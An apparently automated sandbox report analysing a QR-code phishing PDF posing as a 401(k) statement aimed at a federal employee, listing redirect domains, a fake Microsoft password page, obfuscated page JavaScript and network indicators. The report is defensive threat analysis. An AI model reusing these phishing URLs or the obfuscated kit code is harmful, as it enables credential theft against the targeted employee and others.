Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1676,i,11162465224118041367,2337748532442546483,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=2028,i,4291712580894038494,18141104973775951258,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Ferc Q1 2025 401(k) Statement-5997707969.pdf	Initial sample: PDF keyword /JS count = 0
Source: Ferc Q1 2025 401(k) Statement-5997707969.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: Ferc Q1 2025 401(k) Statement-5997707969.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Ferc Q1 2025 401(k) Statement-5997707969.pdf	0%	Virustotal		Browse

Source	Detection	Scanner	Label
https://782137365.federalhostingservices.com/next.php	0%	Avira URL Cloud	safe
https://office.docmanagementsystem.com/6l7q9?e=scotiana.bennett@ferc.gov	0%	Avira URL Cloud	safe
http://r56eqpki1r3pdt55n3rm.wearedhaka.com/favicon.ico	0%	Avira URL Cloud	safe
https://876rfyguyt7ygty.401kstatementmorganstanley.workers.dev/6ea3c94f2192f278e29958b23fb7aa43/MFRVQscotiana.bennett@ferc.gov	0%	Avira URL Cloud	safe
http://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov	0%	Avira URL Cloud	safe
https://782137365-1317754460.cos.ap-singapore.myqcloud.com/bootstrap.min.js	0%	Avira URL Cloud	safe
https://office.docmanagementsystem.com/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.11.207	true	false	high
sgp.file.myqcloud.com	43.153.232.151	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
e329293.dscd.akamaiedge.net	2.23.209.34	true	false	high
e8652.dscx.akamaiedge.net	2.23.197.184	true	false	high
876rfyguyt7ygty.401kstatementmorganstanley.workers.dev	104.21.78.236	true	false	unknown
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
782137365.federalhostingservices.com	69.49.246.64	true	false	unknown
office.docmanagementsystem.com	104.21.80.1	true	true	unknown
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
r56eqpki1r3pdt55n3rm.wearedhaka.com	162.241.114.35	true	false	unknown
code.jquery.com	151.101.2.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
www.google.com	142.250.185.100	true	false	high
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
782137365-1317754460.cos.ap-singapore.myqcloud.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/428841705:1738257258:NQS5JLtvOTvofmNpGGjWYSAkW1IksDo4h5s1tOmpDd0/90a37f855bab32ca/gYSngyglqKnIoNO6flATrUA1pCbkbvNWQHtXIG1Zff8-1738261458-1.1.1.1-EyRArk2xBpPRpD9MzfbrwvfbpDZ1kTGSgsVqJoSRjtlfdHufXEcEes1WkwDn1SFH	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/auto_timeout/normal/auto/	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov	true		unknown
https://782137365-1317754460.cos.ap-singapore.myqcloud.com/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/2083360754:1738257177:_AcCsPlYk05IoUBDh1nHFkQSrBzJqWxJyisqL912d74/90a38299fd108c5d/9_ef1bsav0HAQER.JKQz6mWAWX0fqfJMZ5UBZf6svQ0-1738261584-1.1.1.1-6seam92rOsj.fbnJiQ_p0Y_LQPEb2BxrnwdlVtxSc2ZqLf3t8hBjhyRAZoSQdX7v	false		high
http://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=90a38299fd108c5d&lang=auto	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=90a37f855bab32ca&lang=auto	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/90a38299fd108c5d/1738261586764/rk2-b3QjAiDFIbt	false		high
https://782137365.federalhostingservices.com/next.php	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/90a37f855bab32ca/1738261460460/e1eb75eebf556fffc850630d7e7f9bb70b855ce73460d2572b9a736a85c350f5/t-nVrzwK8DkGKlR	false		high
https://office.docmanagementsystem.com/6l7q9?e=scotiana.bennett@ferc.gov	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/90a38299fd108c5d/1738261586757/2078bbe945e4e7f631524f343043bac1a6df08daf8f584118bd9c57319b0af2c/6ncRj_krszpg3Gx	false		high
http://r56eqpki1r3pdt55n3rm.wearedhaka.com/favicon.ico	false	Avira URL Cloud: safe	unknown
http://r56eqpki1r3pdt55n3rm.wearedhaka.com/vvinx/fpmQd19KeH/scotiana.bennett%40ferc.gov	false		unknown
https://challenges.cloudflare.com/turnstile/v0/b/6682e961b853/api.js	false		high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/90a37f855bab32ca/1738261460462/wyd_xOB22597l8n	false		high
https://office.docmanagementsystem.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://876rfyguyt7ygty.401kstatementmorganstanley.workers.dev/6ea3c94f2192f278e29958b23fb7aa43/MFRVQscotiana.bennett@ferc.gov	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=LES3xvShKd8U0Rs0YqkmTScjIUUXo%2FIevL6XXmOFSGgYsHmJvDfiSUZKvvH9tzIaJVxaCHjnk4dmgY8TOFNTblCpN2sw1ny09gmUIovOT4IQQ2imUYVvRCwLfn7J0HJN2Cwj9sgvOoIRnYzLtokI5vw%3D	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/new/normal/auto/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.1.dr	false	high
https://getbootstrap.com/)	chromecache_203.5.dr, chromecache_198.5.dr	false	high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_203.5.dr, chromecache_216.5.dr, chromecache_213.5.dr, chromecache_198.5.dr	false	high
https://getbootstrap.com)	chromecache_216.5.dr, chromecache_213.5.dr	false	high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_203.5.dr, chromecache_216.5.dr, chromecache_213.5.dr, chromecache_198.5.dr	false	high
http://opensource.org/licenses/MIT).	chromecache_212.5.dr, chromecache_217.5.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.10.207	unknown	United States	13335	CLOUDFLARENETUS	false
2.23.209.34	e329293.dscd.akamaiedge.net	European Union	1273	CWVodafoneGroupPLCEU	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.64.1	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false
104.21.80.1	office.docmanagementsystem.com	United States	13335	CLOUDFLARENETUS	true
151.101.130.137	unknown	United States	54113	FASTLYUS	false
69.49.246.64	782137365.federalhostingservices.com	United States	46606	UNIFIEDLAYER-AS-1US	false
43.153.232.151	sgp.file.myqcloud.com	Japan	4249	LILLY-ASUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
104.18.11.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
2.23.197.184	e8652.dscx.akamaiedge.net	European Union	1273	CWVodafoneGroupPLCEU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.78.236	876rfyguyt7ygty.401kstatementmorganstanley.workers.dev	United States	13335	CLOUDFLARENETUS	false
162.241.114.35	r56eqpki1r3pdt55n3rm.wearedhaka.com	United States	46606	UNIFIEDLAYER-AS-1US	false
43.152.64.207	unknown	Japan	4249	LILLY-ASUS	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1603263
Start date and time:	2025-01-30 19:23:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Ferc Q1 2025 401(k) Statement-5997707969.pdf
Detection:	MAL
Classification:	mal60.phis.winPDF@32/93@55/21
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.22.242.123, 2.22.242.11, 162.159.61.3, 172.64.41.3, 142.250.184.227, 142.250.186.174, 64.233.167.84, 172.217.18.14, 3.219.243.226, 52.6.155.20, 52.22.41.97, 3.233.129.217, 199.232.210.172, 142.250.184.238, 142.250.185.174, 2.23.77.188, 142.250.185.142, 142.250.185.238, 142.250.184.195, 142.250.186.110, 142.250.184.206, 142.250.186.78, 172.217.16.206, 142.250.185.78, 216.58.212.174, 142.250.185.170, 142.250.186.138, 142.250.186.106, 142.250.184.234, 142.250.185.74, 142.250.186.170, 172.217.18.10, 172.217.16.138, 142.250.186.74, 172.217.18.106, 172.217.23.106, 142.250.184.202, 142.250.74.202, 142.250.186.42, 216.58.206.42, 142.250.185.106, 142.250.185.138, 184.28.90.27, 23.56.162.204, 20.109.210.53, 13.107.246.45, 13.107.246.60
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, slscr.update.microsoft.com, clientservices.googleapis.com, acroipm2.adobe.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, wu-b-net.trafficmanager.net, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, aadcdn.msauth.net, p13n.adobe.io, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, armmf.adobe.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:24:13	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

QR Codes

Source	URL
Screenshot	https://876rfyguyt7ygty.401kstatementmorganstanley.workers.dev/6ea3c94f2192f278e29958b23fb7aa43/MFRVQscotiana.bennett@ferc.gov

LLM Input / Output

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown
URL: https://docmanagementsystem.com Model: Joe Sandbox AI	```json{ "brand": "unknown", "brand_classification": "unknown", "legit_url": "unknown", "similarity": 0, "spoofed": 0, "reasoning": "The URL 'https://docmanagementsystem.com' does not appear to closely resemble any specific well-known brand or legitimate URL. It uses generic terms 'doc', 'management', and 'system', which are common in the context of document management services. There are no obvious character substitutions or structural changes that suggest typosquatting. The domain name is descriptive of a potential legitimate service and does not imply any misleading association with a known brand."}
URL: https://docmanagementsystem.com
URL: https://office.docmanagementsystem.com/6l7q9/?e=sc... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a simple form submission function, which is a common and legitimate behavior. While it does not demonstrate any high-risk indicators, the lack of context around the form's purpose and the potential for abuse warrants a low-risk score." }
function VelourTone() { document.forms[0].submit(); }
URL: https://office.docmanagementsystem.com/6l7q9/?e=sc... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The script demonstrates several high-risk behaviors, including dynamic code execution through the use of `atob()` to decode a potentially malicious value, and the presence of obfuscated code and URLs. While the script appears to be attempting to extract a parameter from the URL, the overall behavior and the use of base64 encoding suggest a higher risk of malicious intent." }
const antibody = (name) => { name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]'); var regex = new RegExp('[\\?&]' + name + '=([^&#]*)'); var results = regex.exec(location.search); // Corned beef beef ribs kevin, ball tip elit frankfurter ham anim drumstick lorem ullamco in. Esse pig flank, occaecat tri-tip hamburger kielbasa pork loin spare ribs turkey in minim. Tail hamburger magna jerky, pastrami voluptate consectetur irure strip steak. Culpa consectetur ut turducken, filet mignon biltong cupim short loin officia in pork belly velit pariatur cillum. Est turducken laborum t-bone, do qui ullamco capicola pariatur. Drumstick corned beef mollit aliqua qui. Eiusmod turkey pastrami ut aliquip aliqua reprehenderit jowl duis kielbasa do ullamco chislic. Burgdoggen veniam incididunt, fatback consectetur enim boudin turducken tempor esse chislic andouille doner reprehenderit chuck. Pork belly ut exercitation consectetur. Brisket short loin in, bacon spare ribs et deserunt sunt esse eiusmod chicken ut biltong venison. Rump mollit strip steak, dolore shoulder ex alcatra turkey sed prosciutto drumstick kevin in. Reprehenderit bacon burgdoggen brisket t-bone. Ipsum ham adipisicing jerky pork chop, cow ut in dolore landjaeger prosciutto magna eiusmod. Deserunt pig nulla, fatback turducken jerky sausage pancetta velit enim pariatur andouille et drumstick. Flank ullamco meatball landjaeger ut dolore est enim deserunt. return results === null ? '' : decodeURIComponent(results[1].replace(/\+/g, ' ')); } // Kielbasa sed ribeye in turducken, eu commodo consectetur est. In sunt corned beef reprehenderit consectetur, buffalo flank pork belly. Tongue shank ut alcatra tail pork mollit ipsum excepteur drumstick pork loin est anim. Incididunt short loin duis porchetta exercitation ut occaecat doner capicola consequat tenderloin turkey et. Capicola pancetta venison ut velit. Shankle short ribs ea, magna pork aliqua pork chop sed tenderloin aute corned beef culpa et occaecat minim. Ham hock pancetta laborum pastrami, sirloin ipsum nisi swine. Hamburger turkey frankfurter cillum ball tip enim corned beef mollit pariatur aliqua consequat shoulder. Pig ribeye chislic eu, officia fatback brisket sirloin hamburger ullamco aliqua flank in. Doner consectetur laboris qui turducken alcatra meatball quis cow chuck commodo pork belly tail officia. Magna spare ribs ham hock ut aliquip exercitation chislic venison. Ut culpa leberkas buffalo nostrud turkey qui laborum consequat sed sausage shank flank pig. Chicken ad ipsum adipisicing exercitation. Laborum labore shankle eu beef pastrami drumstick esse. Laboris consequat quis est salami ullamco esse chuck ex do. rh13z8jemt = antibody('e') == '' ? rh13z8jemt : antibody('e'); rh13z8jemt = atob(rh13z8jemt);
URL: http://wearedhaka.com Model: Joe Sandbox AI	```json{ "brand": "unknown", "brand_classification": "unknown", "legit_url": "unknown", "similarity": 0, "spoofed": 0, "reasoning": "The URL 'http://wearedhaka.com' does not appear to be attempting to spoof any known brand. There are no visual character substitutions or structural changes that suggest a resemblance to a well-known brand. The domain name 'wearedhaka' seems to be a phrase that could be related to a community, organization, or campaign associated with Dhaka, the capital city of Bangladesh. The use of the '.com' extension is common and does not imply any deceptive intent. There is no indication of typosquatting or user confusion based on the URL structure."}
URL: http://wearedhaka.com
URL: PDF document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "MFA Expiration Notice", "prominent_button_name": "Scan the QR code below to initiate the MFA renewal process", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": true, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "finance" }

URL: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: http://r56eqpki1r3pdt55n3rm.wearedhaka.com Model: Joe Sandbox AI	```json{ "brand": "unknown", "brand_classification": "unknown", "legit_url": "unknown", "similarity": 0, "spoofed": 0, "reasoning": "The URL 'http://r56eqpki1r3pdt55n3rm.wearedhaka.com' does not exhibit any clear visual or structural similarities to a known brand. The subdomain 'r56eqpki1r3pdt55n3rm' appears to be a random string, which does not suggest any attempt to mimic a legitimate brand. The main domain 'wearedhaka.com' does not resemble any well-known brand and could be related to a specific organization or campaign based in Dhaka. There are no character substitutions or misleading domain extensions that suggest typosquatting. The URL structure does not imply any attempt to confuse users into thinking they are interacting with a trusted brand."}
URL: http://r56eqpki1r3pdt55n3rm.wearedhaka.com
URL: PDF document Model: Joe Sandbox AI	{ "brands": [ "Ferc" ] }
	{ "brands": [ "Ferc" ] }
URL: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://office.docmanagementsystem.com Model: Joe Sandbox AI	```json{ "brand": "Microsoft Office", "brand_classification": "wellknown", "legit_url": "https://www.office.com", "similarity": 5, "spoofed": 3, "reasoning": "The URL 'https://office.docmanagementsystem.com' includes the term 'office', which is strongly associated with Microsoft Office, a well-known productivity suite. However, the subdomain 'docmanagementsystem' suggests a legitimate purpose related to document management, which could be a service or product that integrates with or complements Microsoft Office. The use of 'office' in the subdomain could be descriptive rather than deceptive. The domain does not exhibit typical typosquatting characteristics such as character substitutions or misleading domain extensions. The similarity score reflects the presence of the brand name, but the likelihood of typosquatting is low due to the context provided by the rest of the domain name."}
URL: https://office.docmanagementsystem.com
URL: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in options", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Enter password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "software download portal" } Google indexed: False

URL: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] } Google indexed: False
	{ "brands": [ "Microsoft" ] } Google indexed: False
URL: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The URL 'office.docmanagementsystem.com' does not match the legitimate domain 'microsoft.com'.", "The URL contains additional words 'docmanagementsystem' which are not typically associated with Microsoft's official domains.", "The presence of an input field asking for a password on a non-legitimate domain is a common phishing tactic." ], "riskscore": 8} Google indexed: False
URL: office.docmanagementsystem.com Brands: Microsoft Input Fields: Enter password

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.18.10.207	http://desifoodcorner.wb4.xyz/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
